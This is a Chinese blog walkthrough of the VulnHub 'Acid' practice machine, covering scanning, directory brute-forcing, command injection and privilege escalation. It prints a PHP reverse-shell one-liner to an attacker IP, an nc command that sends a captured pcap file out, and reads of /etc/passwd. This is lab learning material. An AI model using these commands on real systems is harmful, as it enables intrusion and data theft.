渗透实战之靶机Acid

Acid靶机实战

攻击机win10: 192.168.0.112

靶机acid: 192.168.0.173

靶机下载地址 https://www.vulnhub.com/entry/acid-server,125/

用VM打开靶机文件

 

 

 渗透阶段一 信息收集

用namp 进行主机发现

发现一个可疑主机

 

 

 

然后再用namp 扫描该主机的端口

nmap -p - -A 192.168.0.173

发现了一些有用的信息

 

 

 尝试打开网站看看

 

 

 

 成功发现靶机主机但是界面并没有什么有用的信息

尝试目录爆破

 

 

 dirbuster的字典目录在usr/share/dirbuster/wordlists目录下

根据nmap的信息 我打开http://192.168.0.173:33447/Challenge/ 是一个登陆页面

 

 

 

 

先不管了拿这个目录继续爆破

 

 

 

得到这些文件 依次打开感觉都没什么东西 但是打开

 http://192.168.0.173:33447/Challenge/cake.php页面的时候显示了一个疑似目录的标题

 

 

 

 拿着这个带入dirb继续爆破试试

 

 

 发现这个目录下有东西

 

 

 

打开http://192.168.0.173:33447/Challenge/Magic_Box/command.php

是一个

 

 

 是一个命令行注入界面 打开burp试试效果

 

 

 没有过滤 有数据返回  

直接上php 反弹shell

php -r '$sock=fsockopen("192.168.0.161",6559);exec("/bin/sh -i <&3 >&3 2>&3");'

经过url编码后

php%20-r%20'%24sock%3Dfsockopen(%22192.168.0.161%22%2C6559)%3Bexec(%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22)%3B'

IP是我攻击机的IP

 

在攻击机终端输入 nc -lvnp 6995 开启监听

 

然后用burp改包上传php

 

 

 

监听成功 反弹shell

 

 

 

提权

查一下有没有什么可以用的

先查看一下账户

cat /etc/passwd

 

 

 

 账户acid和saman账户有管理员权限

查找一下该账户的相关文件

find /-user acid 2>/dev/null  解释下: 2>/dev/null   2再ilnux中的意思是标准错误,/dev/null指空设备,即将标准错误重定向到空设备=>不会报错,显错

 

 

 发现一个网络流量包文件

用nc传输到kali上 也可以用scp指令传输

 

kali

nc -lvnp 3344 > hint.pcapng

 

 

 

 

 

 

 

shell

nc 192.168.0.161 3344< /sbin/raw_vs_isi/hint.pcapng

 

 

 

拿到网络流量包文件后用Wireshark分析

用法 文件-打开 然后打开刚刚的流量包文件并过滤掉其他的数据只看tcp的端口

 

 

 发现一条数据

 貌似是saman账户的密码

1337 Hax0r.

用su 切换提权

  • sudo : 暂时切换到超级用户模式以执行超级用户权限,提示输入密码时该密码为当前用户的密码,而不是超级账户的密码。不过有时间限制,Ubuntu默认为一次时长15分钟。
  • su:      切换到某某用户模式,提示输入密码时该密码为切换后账户的密码,用法为“su 账户名称”。如果后面不加账户时系统默认为root账户,密码也为超级账户的密码。没有时间限制
  • sudo -i: 为了频繁的执行某些只有超级用户才能执行的权限,而不用每次输入密码,可以使用该命令。提示输入密码时该密码为当前账户的密码。没有时间限制。执行该命令后提示符变为“#”而不是“$”。想退回普通账户时可以执行“exit”或“logout” 。
  • sudo -i 直接运行sudo命令加-i参数
    sudo su 运行sudo命令给su命令提权,运行su命令。
    sudo -i 运行结果 PWD=/root
    sudo su 运行结果 PWD=/home/用户名(当前用户主目录)

也就是我们需要su到一个普通用户,只要知道用户密码,可以通过sudo-i,直接提权至root用户。

但是,su命令前提需要一个终端,需要的是一个终端设备输入密码,但是我们反弹shell的真是一个标准输入样子的。

我们可以用python命令生成一个虚拟的终端( Python -c 'import pty;pty.spawn("/bin/sh")' )

su saman 提权

 

  成功了

 虽然不是自己完成的   哈哈哈哈哈哈

知识点增加

 

参考文章

 https://www.cnblogs.com/BOHB-yunying/p/11293862.html

https://www.jianshu.com/p/101973b931b7

 

posted on 2020-08-19 12:38  TaoTao大魔王  阅读(359)  评论(0编辑  收藏  举报